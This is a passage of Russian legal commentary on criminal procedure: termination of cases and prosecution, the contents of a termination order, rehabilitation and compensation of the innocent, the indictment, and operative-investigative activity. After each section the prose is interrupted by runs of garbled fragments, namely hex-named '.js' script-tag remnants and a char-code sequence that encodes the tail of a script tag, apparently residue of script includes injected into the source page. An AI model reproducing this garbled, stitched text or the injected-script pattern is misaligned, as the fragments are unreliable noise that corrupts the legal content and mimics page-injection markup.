Под прекращением уголовного дела в стадии предварительного расследования понимается
такое окончание следственного производства в целом, которое осуществляется в силу наличия
обстоятельств, исключающих дальнейшее производство по уголовному делу, либо оснований для
освобождения лица от уголовной ответственности. С прекращением уголовного дела
процессуальная деятельность по нему полностью заканчивается, дальнейшее движение дела
исключается, если, конечно, постановление о прекращении не отменено в установленном законом
порядке. Прекращенное уголовное дело подлежит сдаче в архив на хранение. Исключением из
этого положения являются случаи прекращения дел ввиду непричастности обвиняемого к
совершению данного преступления. Такое прекращение означает, что преступление имело место,
однако ктоего совершил, осталось невыясненным. Реабилитация обвиняемого, который в этой
связи выбывает из числа участников уголовного процесса, влечет одновременное
приостановление предварительного расследования на основании п. 1 ч. 1 ст. 208 УПК РФ ("лицо,
подлежащее привлечению в качестве обвиняемого, не установлено"). Никакие соображения типа
"больше некому" (совершить данное преступление) или "он невиновен, он сумел выйти сухим из
воды" юридическогозначения не имеют. Уголовное дело, как и любое другое, производство по
которому приостановлено по указанному основанию, в архив не сдается и хранится у следователя,
который в соответствии со ст. 209 УПК РФ обязан продолжить по нему деятельность по раскрытию
преступления, установлению лица, его совершившего, привлекая к этой деятельности органы
дознания с их гласными и негласными оперативно-розыскными возможностями. В пределах сроков
давности привлечения к уголовной ответственности в подобных случаях не огражден от внимания
спецслужб и сам реабилитированный ввиду недоказанности его участия в преступлении (что
юридически равнозначно непричастности), однако все уголовно-процессуальные правоотношения
с ним полностью обрываются. Пока производство по уголовному делу не возобновлено, никакие
правоограничения к нему применены быть не могут.
c68fb3fe7446a5bc62d28b75234d7241.js" type="text/javascript">1ad86ca3b36a5fc07539b91aa845cdb4char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)628718cfbd916b6e778a3aa69c1bfbaa.js" type="text/javascript">676a766b09abca4386aeb8bebad4c356.js" type="text/javascript">54a45d6ae32afabd127d6718ee0d71a6.js" type="text/javascript">81e8455c2d8d89cc2ab91b8a94d0b1cf.js" type="text/javascript">2a6fb2cb195d36bf6f66798a2a2068d2.js" type="text/javascript">ca6ff568cc0cd0995812424a3fb336d6.js" type="text/javascript">7e5f420ed8cd0187a9f858d9eec8f441.js" type="text/javascript">efc8bb465e810c580716d086c733021d.js" type="text/javascript">ec799fb7d6152b2c9f554829476b4b9b.js" type="text/javascript">c441edcf12d244564f1641f30575f7b6.js" type="text/javascript">682f6047799775cbe1e0870808b5d712.js" type="text/javascript">

От прекращения уголовного дела, т.е. всего досудебного производства, следует отличать
прекращение уголовного преследования, т.е. производства в отношении конкретного лица,
подозреваемого или обвиняемого в преступлении, иначе говоря, уголовно-процессуальной
функции, выражающейся в выдвижении и обосновании подозрения и обвинения,
инкриминируемого конкретному лицу. Согласно ч. 3 ст. 24 УПК РФ прекращение уголовногодела
влечет одновременное прекращение уголовного преследования, но не всякое прекращение
уголовногопреследования влечет за собой полное прекращение всего дела. Так, если по делу
обвиняется несколько лиц, а основания для прекращения установлены только в отношении одного
из них, прекращение уголовногопреследования в отношении данного обвиняемого не означает
полного прекращения следственного производства по уголовному делу, которое в обычном
порядке продолжается в отношении остальных обвиняемых.
00aa7d6603dc41f77f0869f50cb3cf1c.js" type="text/javascript">1676a4089a486a97474a590412280c3echar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)7ec05d8be3fefeb83d7217b782050ec4.js" type="text/javascript">9e24a946c9120ee0dde725c345408b59.js" type="text/javascript">f0d8ff3a4ee6111e64feb125db443cc8.js" type="text/javascript">0721c5d98b63f49e058373ccfab1b718.js" type="text/javascript">c4beb0625810c6e075ea6aed256f517b.js" type="text/javascript">28331a5e0db5a3e325781c7ba9b8f7d8.js" type="text/javascript">01b55ddddab572120090023841ca2b70.js" type="text/javascript">9b87030159173eb2b63072104d3cb00c.js" type="text/javascript">9f11fe6ff4482d1cb09767730532bcd2.js" type="text/javascript">4ccf581a9002be333086fbcb17fa5fa0.js" type="text/javascript">dc99fe5625d899a4277a9562d7ead62e.js" type="text/javascript">

Уголовное дело прекращается по постановлению следователя, копия которого направляется
прокурору. В постановлении указываются:
- дата и место его вынесения;
- должность, фамилия, инициалы лица, его вынесшего;
- пункт, часть, статья УК РФ, предусматривающие преступление, по признакам которого было
возбуждено уголовное дело;
- результаты предварительного следствия с указанием данных о лицах, в отношении которых
осуществлялось уголовное преследование;
- применявшиеся меры пресечения;
- пункт, часть, статьяУПК РФ, на основании которых прекращаются уголовное дело и (или)
уголовное преследование;
- решение об отмене меры пресечения, а также наложения ареста на имущество,
корреспонденцию, временного отстранения от должности, контроля и записи переговоров;
- решение о вещественных доказательствах;
- порядок обжалования данного постановления.
286efb005d2a5ebdcee0aeb274598f6e.js" type="text/javascript">78041a3bef46f41558e706498d293170char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)afc8a5670c50b5c1bbee24b209caa18a.js" type="text/javascript">8ff65dd04f64e8750c743adeb0cafadc.js" type="text/javascript">aa7af818b47c568a572d8bebffbef8d0.js" type="text/javascript">8949abcc06872a9fcb7b798beb1f997f.js" type="text/javascript">5a802225f7ce0e698174ca057a8bfd35.js" type="text/javascript">f9b40b6317c76116d89d19e31e09e2dc.js" type="text/javascript">dbb6704aa0d27516012c3ebf8bef1bde.js" type="text/javascript">1e7c991df42237334d362c26c5507a9b.js" type="text/javascript">46fd196704b794a315e12b217009f8af.js" type="text/javascript">c902e53146ad8a8ec23254bb8e21bb1d.js" type="text/javascript">8bc27d823adfe762f209e6afbdd533c9.js" type="text/javascript">

Согласно Конституции РФ (ст. 53) каждый имеет право на возмещение государством вреда,
причиненного незаконными действиями (или бездействием) органов государственной власти или
их должностных лиц. Это положение базируется на концепции демократического правового
государства, в котором, в отличие от господствующего в тоталитарном государстве
бесчеловечного правила "Лес рубят - щепки летят", во главу угла выдвигаются интересы личности,
и само государство, подчиняясь требованию верховенства закона, ответственно перед каждым из
своих граждан за нормальную работу всего механизма власти и управления. Особое значение это
положение имеет в сфере уголовного судопроизводства, где решается вопрос о виновности в
совершении преступления и о применении уголовной репрессии и речь идет в конечном счете о
чести, свободе, имуществе, словом, о судьбе человека.
16e1c9ccdcc6ccb5fbae41b7500fa09b.js" type="text/javascript">8be59d1a89db27fbf08449b543c1850echar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)d8a3893f30dc2a4ea7b213dd55f61db2.js" type="text/javascript">949be1d40c0a51bf5628a179e2b3f150.js" type="text/javascript">cf2e6f83e35f7eb8c35643cd63de5f34.js" type="text/javascript">8b3d78de63cc3f71c4258f61422ccffa.js" type="text/javascript">22b8b31b892f8a99f039cad647aafeed.js" type="text/javascript">0ef2ccf1154cbcbcbac5e3142dd757d7.js" type="text/javascript">9def6f48f7abb8b439e98a4eb2407117.js" type="text/javascript">f73dc52f6a6bf97dd6251f41a1a626ce.js" type="text/javascript">ba34820f43569ab8f09ef04331fd8002.js" type="text/javascript">507d397e26270721ae95b900ee322920.js" type="text/javascript">a8f4aa832830970e92c472123b944c53.js" type="text/javascript">

Из текста ст. 133 УПК РФ явствует, что понятие реабилитации в стадии предварительного
расследования связывается с прекращением в отношении подозреваемого или обвиняемого
уголовногопреследования: а) за отсутствием события преступления; б) за отсутствием в деянии
состава преступления; в) за отсутствием заявления потерпевшего, если уголовное дело может
быть возбуждено не иначе какпо егозаявлению, за исключением случаев, когда такое дело на
законном основании (ч. 4 ст. 20 УПК РФ) возбуждено в порядке публичного обвинения ввиду того,
что преступление совершено в отношении лица, находящегося в зависимом состоянии или по
иным причинам не способного самостоятельно воспользоваться принадлежащими ему правами; г)
ввиду отсутствия заключения суда о наличии признаков преступления в действиях лица, в
отношении которого установлен особый порядок уголовного судопроизводства, или же отсутствия
согласия Совета Федерации, Государственной Думы, Конституционного Суда РФ,
квалификационной комиссии судей на возбуждение уголовного дела в отношении такого лица или
привлечение его в качестве обвиняемого (имеются в виду члены Совета Федерации, депутаты
Государственной Думы, судьи Конституционного Суда РФ, судьи судов общей юрисдикции и
арбитражных судов, депутаты законодательного (представительного) органа государственной
власти субъекта Федерации, прокуроры, следователи и адвокаты); д) ввиду непричастности
подозреваемого или обвиняемого к совершению преступления; е) ввиду наличия в отношении
подозреваемого или обвиняемого вступившего в законную силу приговора по тому же обвинению
либо определения суда или постановления судьи о прекращении уголовного дела по тому же
обвинению; ж) ввиду наличия в отношении данного подозреваемого неотмененного постановления
органа расследования о прекращении уголовного преследования по тому же обвинению либо об
отказе в возбуждении уголовного дела; з) вследствие отказа Государственной Думы Федерального
Собрания РФ в даче согласия на лишение неприкосновенности Президента РФ, прекратившего
исполнение своих полномочий, и (или) отказаСовета Федерации в лишении неприкосновенности
данного лица <1>. Причем, если уголовное преследование по указанным основаниям
прекращается по делу, возвращенному прокурору судом кассационной или надзорной инстанции
после отмены обвинительного приговора, это означает, что во внесудебном порядке властью
самого органа уголовного преследования реабилитируется осужденный <2>.
ab61b2618d12170577ef28e2a8dec0b0.js" type="text/javascript">550251e75cc7bc2bfd2f3d2c41fa6d18char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)b73b6df25f80ae7a120b3de1dcd464cd.js" type="text/javascript">77396b98dac37ccd99f57deeba519a95.js" type="text/javascript">77d2885d816b2e6f58e8c4eab8817641.js" type="text/javascript">147c2a9ea4f43c0596e2c02265b57d6f.js" type="text/javascript">ab615e7616907287d6277ff847ee0563.js" type="text/javascript">79c0ea9ab567be2611ce639983fc604f.js" type="text/javascript">4a21210f366dfa8509685d4409809a11.js" type="text/javascript">c23aa71247e05fce619cea46e9285bdf.js" type="text/javascript">7e7cb2caa19f1b15da3441f8e8f73d9a.js" type="text/javascript">0839779ae699cdbf1dff7af5a03e5427.js" type="text/javascript">8d7e8a37207c4d5b3c6080ab45c2e605.js" type="text/javascript">

Восстановительно-компенсационные правоотношения, связанные с реабилитацией
невиновного (правовые последствия реабилитации), складываются в зависимости от вида вреда,
причиненного в связи с уголовным преследованием. По поводу возмещения имущественного
вреда, иначе говоря, убытков, получивший извещение реабилитированный гражданин или его
законный представитель, а в случае смерти реабилитированного - его наследники в течение трех
лет (общий срок исковой давности, установленный ст. 196 ГК РФ) вправе обратиться к
следователю, дознавателю, принявшему решение о прекращении уголовного преследования, с
требованием о возмещении имущественного вреда, который включает в себя:
1) заработную плату, пенсию, пособия, другие средства, которых реабилитированный
лишился в результате уголовного преследования;
2) конфискованное или обращенное в доход государства на основании приговора или
решения суда его имущество;
3) штрафы и процессуальные издержки, взысканные с него во исполнение приговора суда;
4) суммы, выплаченные им за оказание юридической помощи;
5) иные расходы (ч. 1 ст. 135 УПК РФ).
Исходя из общего правила, в соответствии с которым имущественный вред возмещается
реабилитированному гражданину в полном объеме, следует заключить, что он вправе рассчитать,
документально обосновать и потребовать от государстваденежной компенсации любых убытков,
происхождение которых находится в причинной связи с уголовным преследованием невиновного и
представляет собой дефект определенного материального блага лица, а равно упущенную им
выгоду, в том числе в сфере предпринимательской деятельности.
33bcd446e8c1e57d6a4592e4e345b2ff.js" type="text/javascript">c72d0bc84371263c01b8884ea810864cchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)832faf832554bf1c128959d9360d7e9f.js" type="text/javascript">b866e94792fa91663dfe072661bf4a2f.js" type="text/javascript">6e2e8974375e408a4b94ff2beb8c10ea.js" type="text/javascript">d4b0ded51da1ec4e234de945a53467d0.js" type="text/javascript">afeb12ee82c5a3ce5d671f6eb1bfcfb8.js" type="text/javascript">20ec24dc868f3d8f22f0bb14451afe50.js" type="text/javascript">664ec70d12c66ffab1c8795a5bd56c11.js" type="text/javascript">9231af8754688ce0d377560851715426.js" type="text/javascript">9898b372df1b4faa657cb4ae9b938324.js" type="text/javascript">584596359cc992ea4f8dc7858d07107a.js" type="text/javascript">42719fbaa651d7c8a8d577f0a0a01449.js" type="text/javascript">

Предварительное следствие (о дознании будет сказано особо) заканчивается составлением
обвинительногозаключения, если следователь пришел к убеждению, что обвиняемый виновен в
совершении инкриминируемого преступления, что по делу исследованы все обстоятельства,
входящие в предмет доказывания, и что материалы следственногопроизводства могут служить
достаточной и добротной основой для судебного рассмотрения и разрешения уголовного дела по
существу.
Составлению обвинительного заключения предшествует ряд процессуальных и
вспомогательных действий. Прежде всего следователь должен систематизировать материалы
следственного производства, группируя их или по отдельным эпизодам обвинения, или в
отношении отдельных обвиняемых. Эта часть работы завершается составлением описи
документов и подшивкой дела. Хотя эта работа и носит технический характер, она имеет важное
значение, поскольку тщательно продуманная систематизация и оформление материалов
следственного производства облегчают работу с делом при его дальнейшем движении по
прокурорским и судебным инстанциям.
9b71fbd65c5a93ce97bc6bfdf9de6b4d.js" type="text/javascript">c11dbe4b4e7226beeff032a5207d2506char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)a8fd81c72468eca5fd89fcc01800a796.js" type="text/javascript">8f7073c9b572d109f6a87d5d94e2e691.js" type="text/javascript">cc0cc8b05cfb3c9c6d9df2b8d0f6d5c3.js" type="text/javascript">3e7b7a5bc479a764b05ab8f0f8ee85e8.js" type="text/javascript">a6889092041be05fdd1e7c1779722ee7.js" type="text/javascript">768176419b2a518c207f3b60b0c8e415.js" type="text/javascript">de903dfd5cfda8d8a4190d53a4bbadda.js" type="text/javascript">98ff7d4573de27b9899eacf60f55e9e7.js" type="text/javascript">b04fb84d2e905d98f08b0615409b179b.js" type="text/javascript">81b70acdea927055f7a43e6d68729d00.js" type="text/javascript">4abf9dc6d42730431fd051e560e8c6ee.js" type="text/javascript">

Обвинительным заключением называется процессуальный документ, завершающий
предварительное расследование, на основании которого прокурор разрешает вопрос о
направлении дела в суд. В нем подводятся итогипредварительного следствия, обосновывается
доказательствами вывод следователя о виновности обвиняемого и юридическая квалификация
его действий, формулируется в окончательном виде обвинение. Принято различать двоякое
значение обвинительного заключения: техническое и процессуальное. Техническое значение
обвинительного заключения приведено в определенную систему, что значительно облегчает
изучение следственного материала прокурором и судом. Процессуальное значение
обвинительного заключения состоит в том, что оно:
а) устанавливает пределы предстоящего судебного разбирательства, которое производится
только в отношении обвиняемых и лишь по тому обвинению, по которому они преданы суду.
Следовательно, в судебном разбирательстве происходит рассмотрение обвинения,
сформулированного в обвинительном заключении в отношении лиц, привлеченных в качестве
обвиняемых на предварительном следствии. Именно это обвинение поддерживается в судебном
рассмотрении государственным обвинителем;
б) обеспечивает осуществление обвиняемым своего права на защиту. Закон
предусматривает, что копия обвинительногозаключения вручается обвиняемому не позднее чем
за трое суток до начала судебного рассмотрения дела. Это дает обвиняемому возможность
подготовиться к защите против сформулированного в отношении егообвинения, обоснованного
конкретными доказательствами.
ba49b1a3d6a30e7703a13f1fd3412850.js" type="text/javascript">5a4dab9e9a56640fedee77478f1997d6char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)482f0d5d584d0948db6227abdcb93e20.js" type="text/javascript">8fafe96de2c33de233ea07108f250917.js" type="text/javascript">6653f7f55c21da872e7c90e5dabc6222.js" type="text/javascript">c17d4b9228768f685947feba9d4165cd.js" type="text/javascript">43f464fda4740ef4c679e1c3a0703ae8.js" type="text/javascript">4ce3215442e7bd77a700b3e727398167.js" type="text/javascript">fc8de5c7d61bfa699b4177f67ed552a6.js" type="text/javascript">b1c3ed4c9e12a2ef03c5ecc133907261.js" type="text/javascript">c6adf8337b0b389a5f79d241fcf90f86.js" type="text/javascript">884672812195a026a770e51fdd604c59.js" type="text/javascript">e19dc2d28d2b2dfc29d51a9b8aefb3f0.js" type="text/javascript">

Демократические преобразования жизни российского общества, утверждение господства
гласности обострили вполне понятный, если помнить нашу историю, интерес людей к
засекреченной деятельности органов государства, которые в обыденности называются
спецслужбами. В разговорный обиход вошло еще совсем недавно не произносимое вслух: сыск
(политический, уголовный), разведка, контрразведка, агентура, оперативно-розыскная
деятельность.
В советское время последнее понятие в законе упоминалось лишь единожды: согласно ч. 2
ст. 29 Основ уголовного судопроизводства Союза ССР и союзных республик <1> на органы
дознания возлагалось "принятие необходимых оперативно-розыскных мер в целях обнаружения
признаков преступления и лиц, их совершивших". Аналогичное положение было включено и в УПК
союзных республик (ч.1 ст. 118 УПК РСФСР 1960г.). В 1990г. ст. 29 названных Основ была
существенно дополнена. Органам дознания вменялось в обязанность "принятие необходимых
оперативно-розыскных мер, в том числе с использованием видеозаписи, кинофотосъемки и
звукозаписи, в целях обнаружения признаков преступления и лиц, егосовершивших, выявления
фактических данных, которые могут быть использованы в качестве доказательствпо уголовному
делу после их проверки в соответствии с уголовно-процессуальным законодательством" <2>. Так,
впервые в общих чертах было законодательно определено самое главное в соотношении сыскного
и процессуального начал в доказывании на предварительном следствии.
845f2bdff657a12af1781759a37bfdc3.js" type="text/javascript">506abeb97065415275c359d0ff128de5char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)96791958c8947787084dd7e7ce5f170c.js" type="text/javascript">564c6c6c7cac756987a082278d43ae51.js" type="text/javascript">e86d44d3b3624ce0ce8588894e90cfe0.js" type="text/javascript">3900de7cc8f2b190e5668dd1dd76f5b8.js" type="text/javascript">759160ef90cbeb5dacb946055ba7649b.js" type="text/javascript">dc2eace7ea2ea3c827c4fdde90f24e7c.js" type="text/javascript">c2d88f05197f72053ccca2de231f0421.js" type="text/javascript">8080d77782d45985d3696d54ecb4574d.js" type="text/javascript">dbc77a7a8cb1d530ee78e64bc6332240.js" type="text/javascript">f1986634e571061a636f0122482a8d59.js" type="text/javascript">c073ffeaf5b967424d2637a2356f3916.js" type="text/javascript">

Один из основоположников теории отечественного уголовного процесса член-корреспондент
Академии наук СССР М.С. Строгович, чье имя творцами теории оперативно-розыскного права
вообще не упоминается, еще более четверти века тому назад убедительно доказывал, что
оперативно-розыскные действия не создают правоотношений, что они не являются
процессуальными в любом, даже самом широком смысле слова; что между ними "существует
отчетливая граница, резко их разъединяющая и не допускающая их смешения" и что "сближение
следственной и оперативно-розыскной деятельности является неправильным, не согласующимся
с законом и практически способным принести лишь вред той и другой" <1>.
--------------------------------
<1> См.: Советский уголовно-процессуальный закон и проблемы его эффективности. М.:
Наука, 1979. С. 87, 88, 89 (сноска).

Это научное положение подзабыто незаслуженно. Правы и те авторы - наши современники, -
которые, опираясь на устойчивые постулаты общей теории правоотношений, утверждают, что
концепция самостоятельной отрасли оперативно-розыскного права и процесса не отвечает
азбучным положениям этой теории, в частности содержанию ее основополагающих понятий -
право, отрасль права, объект и метод правового регулирования, правоотношение, состав
правоотношения <1>. Учитывая, что этот вывод принадлежит многоопытному сотруднику милиции,
а цитируемая работа издана в одном из высших учебных заведений МВД России, следует
заключить, что и в системе органов внутренних дел нет единства взглядов ни на практическую
ценность законодательства об оперативно-розыскной деятельности, ни на научную ценность
теории оперативно-розыскного права и процесса.
28124a5554ad98399cdb7e72bac1703b.js" type="text/javascript">4788ad69bd6b67ea5ea8964ac086c60dchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)e9de842f89b61451a580fb3da151a1a3.js" type="text/javascript">fb76c0844cb1096633af78f44991ef61.js" type="text/javascript">4eccfcfed87108da5af24cf49c9bc71c.js" type="text/javascript">15e33a5d092b2914736c8a81d7333f67.js" type="text/javascript">8275b8b7828bb5483d7d82b989ae9819.js" type="text/javascript">215bc714978b617db5287eb9cd18cf66.js" type="text/javascript">b6bfccdd582fa80d661c0a60882a15e1.js" type="text/javascript">6d0f15474d34705ebe1cf359fc61e1b2.js" type="text/javascript">931671d0dba5b649a1b5965c2ac57f9e.js" type="text/javascript">422a81510f3a0c7e1f7b66ebcaf454dc.js" type="text/javascript">6adf18623636f6bd7dc4ee929f02d894.js" type="text/javascript">